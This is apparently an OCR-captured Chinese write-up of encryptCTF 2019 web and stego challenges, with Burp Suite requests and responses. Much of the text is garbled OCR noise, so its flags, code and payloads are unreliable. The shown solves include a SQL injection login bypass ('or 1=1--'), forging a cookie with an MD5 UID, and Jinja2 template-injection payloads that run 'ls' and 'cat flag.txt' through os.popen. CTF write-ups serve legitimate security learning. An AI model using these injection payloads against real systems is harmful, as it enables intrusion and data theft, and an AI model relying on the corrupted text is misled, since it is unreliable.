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are you looking for a flag, well it's not here bruh!
Try someplace else
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WHBIEH BB, &L —Tview-source, ¥FER; HiA— TFTHMAEESL, HEWEIIHE, I#E— T Cookie:

<« C  ® FZ2 | 104.154.106.182:3080

Hey You, yes you!
are you looking for a flag, well it's

TFFEfERRY Cookie
i

Rl

Try someplace else

B RZANREEHSN, UNECHE T flag,
AR b PR RN BE — T

Burp Intruder Repeater Window Help

AR Cookie 2F5EE
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¥ [~ 7 Cookie

ki
Bl A

ZEFAdIE

BEER—TRTERT., 8 ERncorrect, RBHE, TRERKKRET . B,

& FLAG
@& uID

il

BRI =

FLAG

104.154.106.182

/

BihEE

2019452 A RE F7:10:09
M= S Re

(Target T Proxy TSpider TScanner Tlntruder 1 Repeater [Sequencer TDecoder TComparer TExtender TProject options TUser options TAIerls ]

Go Cancel <|* >|»

Request

Raw | Params | Headers | Hex

Target: http://104.154.106.182:8080 | # | 7

Response

Raw | Headers | Hex [ HTML TRender]

GET / HTTP/1.1

Host: 104.154.106.182:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW®64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/72.0.3626.121 Safari/537.36

Accept: text/html, application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

Cookie: UID=1899139df5e1059396431415e770c6dd; FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D

Connection: close

HTTP/1.1 200 OK

Date: Thu, 04 Apr 2019 13:00:20 GMT

Server: Apache/2.4.25 (Debian)

X-Powered-By: PHP/7.3.3

Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D
Vary: Accept-Encoding

Content-Length: 353

Connection: close

Content-Type: text/html; charset=UTF-8

T

<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<titla>Hiddan</titla>




{ </head> {
v v

<body>

2 < + > Type a search term 0 matches ? < + > Type a search term 0 matches
(G N G ) Gl | el L (G N G Gl | el R

BEARX G, R T —/Cookie, BEERARMEIBR fAERE, KT —&%E, H/ELMDS:

& O ') I ‘www.cmd5.com = = 7. 2

Fimd5, shalBFSRREAAFIINEEAHTRGEE, BISEFREGNAR, SR 7TEESCINSaRiEeE, IENCR0AI0E, SHERE

i
1I500TB, EiEREhERI5%LLE, REEREVIAGEREATIES. BREsTHRTF, BRI=E2E,

=0 B 28 WorldWide b

899139df5e1059396431415e770c6dd
EE]

ERER:
100

REAE, UD=100, MAETRUMIZBETFHERT, ZEESAFAREFHITMDSHE#, &/57EmdS(0)XMH77 % 2lflag:

{Target T Proxy TSpider TScanner Tlntruder I Repeater TSequencer TDecader TComparer TExtender TProject options TUser options TAIerts ]

Go Cance <|* >\ Target: http://104.154.106.182:8080 li; &
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML TRender ]
GET /HTTP/1.1 'A HTTP/1.1 200 OK A
Host: 104.154.106.182:8080 Date: Thu, 04 Apr 2019 13:33:29 GMT )
Cache-Control: max-age=0 Server: Apache/2.4.25 (Debian)
Upgrade-Insecure-Requests: 1 X-Powered-By: PHP/7.3.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Set-Cookie: FLAG=encryptCTF%7B4lwady5 Ch3ck_7h3_c00ki3s%7D%0A
Chrome/72.0.3626.121 Safari/537.36 Vary: Accept-Encoding
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8 Content-Length: 353
Accept-Encoding: gzip, deflate Connection: close
Accept-Language: zh-CN,zh;q=0.9 Content-Type: text/html; charset=UTF-8
Cookie: UID=cfcd208495d565ef66e7dffof98764da; FLAG=encryptCTF%7By0Ou_c4nt_U53_m3%7D
Connection: close <html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Hidden</title>
</head>
: <bodv> lkv

=. ENCRYPT CTF—lInto the Black (writeup) :
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B Stegsolve B E — T #i4T, 7ERed 0. Blue 0. Green0. Randommap 1. 2. 3#A LAFEF:

File Analyse Help

Red plane 0
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encryptCTHL1GH7_17_UP} =
Pl. ENCRYPT CTF—Slash Slash (writeup) :
XIEBE LY, RITRER EIbase64%mty, HEMAREMag (o« © o) ERE T ENIKFHwriteup, XEBIERHE MARTEH.
BT BRI, FTHE—ApyXE, —AMtxt, =ASCHFR, HRIBBREIEIT FpyFittE —F .
2 B app”
File Edit Format Run Options Window Help
os requirements.txt - JI2&A& _ O %
flask Flask, render_template, jsonify STHF) SHEE) ETN0) EE(V) HEEH)
app = Flask(_name_) [Click==7.0Flask==1.0.2itsdangerous==1.1.0Jinja2==2.10MarkupSafe==1.1.1Werkzeug==
“‘;::etf.:{ using pythe
app. secret_key = "9
Learn about virtualenv here
https://www. youtube. watch?v=NOvscPTWKOk&1ist=PL-0siE80TeTt66h8cVpmbayBK1MTusS
FLAG = os. getenv ("FLAG", “encryptCTF{}") ﬁjE£
@app:rolftr?(: ) %
index(): render_template(’ index. html’) ﬁﬂ&
@app. route (' /encryptCTE’, methods=["GET"])
getflag(): )
o jsonify ({
flag : FLAG
b
o (@b )
FE A HE X FRIX A SN S R HIME RO AT G, SRITITIT AR SO R, JeFenvibin, JRFHTITF T % —activate, —HEMRE, &£TF
B, B37 —Hbaseb44wiy:

_OLD_VIRTUAL_PATH="§PATH"
PATH="SVIRTUAL_ENV/bin:SPATH"
export PATH



50 # unset PYTHONHOME if set

51 4if ! [ -z "${PYTHONHOME+_}" ] ¢ then

52 _OLD_VIRTUAL_ PYTHONHOME="S5PYTHONHOME™

53 unset PYTHONHOME

54 fi

55

56 4if [ -z "${VIRTUAL ENV_DISABLE PROMPT-}" ] ; then
57 _OLD_VIRTUAL_PS1="${PSl-}"

58 if [ "x" !'= x 1 ; then

59 PS1="35({PS1-}"

60 else

61 PS1="('basename \"SVIRTUAL ENV\"') 3{PS1-}"
62 fi

63 export PS1

64 fi

65

66 4 Make sure to unalias pydoc if it's already there
67 alias pydoc 2>/dev/null >/dev/null && unalias pydoc || true

68

69 pydoc () {

70 python -m pydoc "$@"
71}

T2

73 # This should detect bash and zsh, which have a hash command that must
74 4+ be called to get it to forget past commands. Without forgetting
75 + past commands the SPATH changes we made may not be respected

76 4if [ -n "S{BASH-}" ] Il [ -n "${ZSH_VERSION-}" ] ; then
17 hash -r 2>/dev/null

78 fi

79

80 +# export $(echo RkxBRwo= | base64 7d):"ZW5jcnlwdENURntjb21tZW5OclﬂmleuZGVudGFOaw9uc19tYthcl9qb2hubulfYV9nb29kX3Byb2deW1tZXJ9Cq:#"

Jormal text file lenath: 2,302 lines: 80 Ln:80 Col:132 Sel:9211 Unix (LF) UTF-8 INS

HEMA, B~ w )

Vas>cImua

base16, base32, base64

ZW5jcnlwdENURNtjb21tZW50c18mX21uZGVudGF@aWduclotYWtlc19gb2hubnlfYVoOnb29kX3Byb2dyYW1tZXI9Cg==

i

B base64 FIFE utf8(unicodefRE3)
W B 13

encryptCTF{comments_&_ indentations_makes_johnny_a_good_programmer}

BRFGEE R TTE, NIZREMIFER, REAKME, wpl T T :
https://iwww.abs0lut3pwn4g3.cfiwriteups/2019/04/04/encryptctf-slashslash.html
5. ENCRYPT CTF—Vault (writeup) :

RS, BB AT — R, MiZSATEA:

> C O F%2| 104.154.106.182:9090 B o % O

SUBMIT



https://www.abs0lut3pwn4g3.cf/writeups/2019/04/04/encryptctf-slashslash.html

HEIE, Busernamefi{EA: adminor1=1-":

https:/blog.csdn.netiqqg_42

[Target ] Proxy ] Spider I Scanner T Intruder ] Repeater I Sequencer I Decoder TComparer I Extender TProject options T User options IAIerts ]

1 x I
Go | Cancel <|r | > >

Request

Raw | Params | Headers | Hex

Target: http://104.154.106.182:9090 [i

Response

[ Raw IHeadels Hex | HTML ]Render ]

POST /login.php HTTP/1.1

Host: 104.154.106.182:9090

Content-Length: 55

Cache-Control: max-age=0

Origin: http://104.154.106.182:9090

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW®&4) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/72.0.3626.121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://104.154.106.182:9090/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: UID=899139df5e1059396431415e770c6dd; FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D
Connection: close

username=admin‘or 1 = 1--'&password=admin&submit=submit

-
v

? |[ < + | > Type a search term 0 matches

HERE A M Set-Cookie, M BIURLE MY, FHilFlbase6d, HE:1SHfag:

&« > O w (D) ctissleye.com/basebd.ntml

CEEHITE SSLEETE SSURTHEAA NiceTool SEIEH

basef®ig

base16, base32, base64

ZW53jcnlwdENURNtpXegedDNfalW5KM2M3aTBUNXe=

i) base64

4
B
i

utf8(unicodefRi3)

S

encryptCTF{i_H4t3_inJ3c7ien5}

75+ ENCRYPT CTF—repeaaaaaat (Ef#) :

ML T
& C  ® F%%£ | 104.154.106.182:5050
Hello,

Ny

HTTP/1.1 200 OK

Date: Fri, 05 Apr 2019 01:15:53 GMT

Server: Apache/2.4.25 (Debian)

X-Powered-By: PHP/7.3.3

Set-Cookie: SESSIONID=ZW5jcniwdENURNtpX0g0dDNfaWWsKM2M3aTBuNX0%3D
Vary: Accept-Encading

Content-Length: 465

Connection: close

Content-Type: text/html; charset=UTF-8

<IDOCTYPE html>
<html>

<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="|E=edge">
<title>Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="css/main.css">

? | [ < + ][ = Type a search term omi

RS -

B



P N P N

WA EERE, ®IMNE, S%%F— Fview-source:

< C O F%= | view-source:104.154.106.182:5050
1

2

3| <html>

4| <head>

5 <meta charset="utf-8">

6 <meta http—equiv="X-UA-Compatible” content="IE=edge”>
7 {title’repeaaaaaat(/title>

5 <meta name="viewport” content="width=device-width, initial-scale=1">
9 {seript>

10 function repeat() {

1 for(var i=0; i<10; i++) {

12 lol = document. createElement ("img”)

13 lol. src = “/static/lol. png”

14 var shit = document. getElementById(’ shit’)

15 shit. appendChild(lol)

16 }

17 }

18 </seript>

19 </head>

20 <body onscroll=repeat (}>

21 Hello, <div id="shit”>»

22 <img src="/static/lol. png’ >

23 <img src=/static/lol.png >

24 <img src="/static/lol. png’ >

25 <img src='/static/lol.png’ >

2% <img src="/static/lol.png >

a7 <img src=/static/lol.png >

28 <img src='/static/lol.png’ >

29 <img src='/static/lol.png’ >

30 <img src="/static/lol.png >

31 <img src=/static/lol.png >

32 <img src='/static/lol.png’ >

33 <img src="/static/lol.png’ >

34 <img src="/static/lol.png >

35 <img src="/static/lol.png >

36 </div>

37 <1— L2xvbF9ub19vbmVfd21sbFIzZWVfd2hhdENfaGVyZQ=— ——>
38 </body>

39| </html>

JE# — A base644mts, fRIZE—T:

&« - O Y (i) ctfssleye.com/baseb4.himl

CEZXITE SSLIEET B SSLRRELLARN NiceTool TR

basefFi3

base16, base32, base64

L2xvbF9ub19vbmVfd21sbF9zZWVfd2hhdHNfaGVyZQ==



i) base64 e utf8(unicodefRi3)

/lol_no_one_will_see_whats_here

g, BHARAGEEHETINRES:

& 9

% 13

[Target T Proxy I Spider ] Scanner T Intruder IRepeater I Sequencer I Decoder I Comparer ] Extender T Project options TUser options ] Alerts ]

|1>< 2x|_..

Go Cancel < |7 > |

Request

Raw | Params | Headers | Hex

Response

Raw [Headels Hex [ HTML TRendel ]

Target: http://104.154.106.182:5050 Li

GET / HTTP/1.1

Host: 104.154.106.182:5050

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/72.0.3626.121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,“/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: UID=f899139df5¢1059396431415e770c6dd;
FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D

Connection: close

¥

-
v

[IJ EJ [ZJ EJ Type a search term 0 matches

Done

NHILT —Btbaseb4 1 mtD, fERD:

&« | = O ') (i) ctissleye.com/base64 html

</html>

CELIE SSLIEETE SSLmRELERN NiceTool BEnSs
basef®rY
base16, base32, base64
Lz9zZWNyZXQ9ZmxhZw==
W3 base64 FHE utf8(unicodelRED)
R B

/?secret=flag

<body onscroll=repeat()>
Hello,<div id="shit">

<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src='/static/lol.png">
<img src='/static/lol.png">
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>

</div>
<l-- [292ZWNyZXQ9ZmxhZw== -->
</body>

w [ZJ B EJ Type a search term

BB

0 me

1,405 bytes | 242



Go Cancel <|v >

Request

Raw | Params | Headers | Hex

Target: http://104.154.106.182:5050 E

Response

Raw | Headers | Hex HTMLTRender1

GET fesecret=flag HTTP/1.1

Host: 104.154.106.182:5050

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW864) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/72.0.3626.121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: UID=f899139df5e1059396431415e770c6dd;
FLAG=encryptCTF%7By0u_c4nt_U53 m3%7D

Connection: close

T

Hello,<div id="shit">
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>

</div> flag

<l-- Lz9zZWNyZXQ9ZmxhZw== -->

</body>
</html>

BATET LR BLA MIdiviE Biflag, 8T AR 2 Misecretii{E, ATLARILAMKIdIVEHRESE, RERMAMET PR THT .
JERE T KEMwriteup, VETHHASSTIT, REH.. AELHHC—WET. ZAELRPHA ERAE —NXME, KH e

7173

R L7 7Y, R BIREI49. 47T, FIBLR; AN E — AR injia2:

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLTRender]

GET /?secrel=({7'7}}| HTTP/1.1

Host: 104.154.106.182:5050

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/72.0.3626.121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: UID=f899139df5e1059396431415e770c6dd;
FLAG=encryptCTF%7By0u_c4nt_U53 m3%7D

Connection: close

T

ar

Hello,<div id="shit">
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>
<img src="/static/lol.png'>

</div> 49

<I-- L292ZWNyZXQ9ZmxhZw== -->

</body>
</html>

IR wi R Epayload ) 17 T . 2 B AR E AR i payload 2 N e HFEX B K, XIE & KIpayload B B FHEH:

[Target TProxy TSpider TScanner Tlntruder 1 Repeater [Sequencer TDecoder TComparer TExtender TProject options TUser options TAIerts ]

1 x[2 % |..

Go Cancel < | >\

Request

Raw | Params | Headers | Hex

Target: http://104.154.106.182:5050

Response

Raw | Headers | Hex HTMLTRender}

GET /?secret={{url_for.__globals__.os.popen('ls').read()}} HTTP/1.1

Host: 104.154.106.182:5050

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWB84) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/72.0.3626.121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,imagefapng,*/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: UID=f899139df5e1059396431415e770c6dd;
FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D

Connection: close

¥

<img src="/static/lol.png'>
<img src="static/lol.png">
<img src="/static/lol.png">
<img src="static/lol.png'>
<img src="/static/lol.png">
<img src="/static/lol.png'>
<img src="static/lol.png">
<img src="/static/lol.png'>
<img src="static/lol.png">
<img src="/static/lol.png'>
</div> application.py

flag.txt

requirements.txt

static

templates



T Fflag txtit i -

<l-- L 2xvbF9ub19vbmVfd2IsbF9zZW\Vfd2hhdHNfaGVyZQ== -->
</body>

</html>

[ Target ] Proxy I Spider I Scanner T Intruder IRepeater I Sequencer T Decoder ] Comparer I Extender Iiject options I User options I Alerts ]

1 x |2 x
Go Cancel <|v >|r Target: http://104.154.106.182:5050
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GET /?secret={{url_for._globals_.os.popen('cat%20flag.tx1').read()}} HTTP/1.1

Host: 104.154.106.182:5050

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/72.0.3626.121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: UID=f899139df5e1059396431415e770cBdd;
FLAG=encryptCTF%7By0Ou_c4nt_U53_m3%7D

Connection: close
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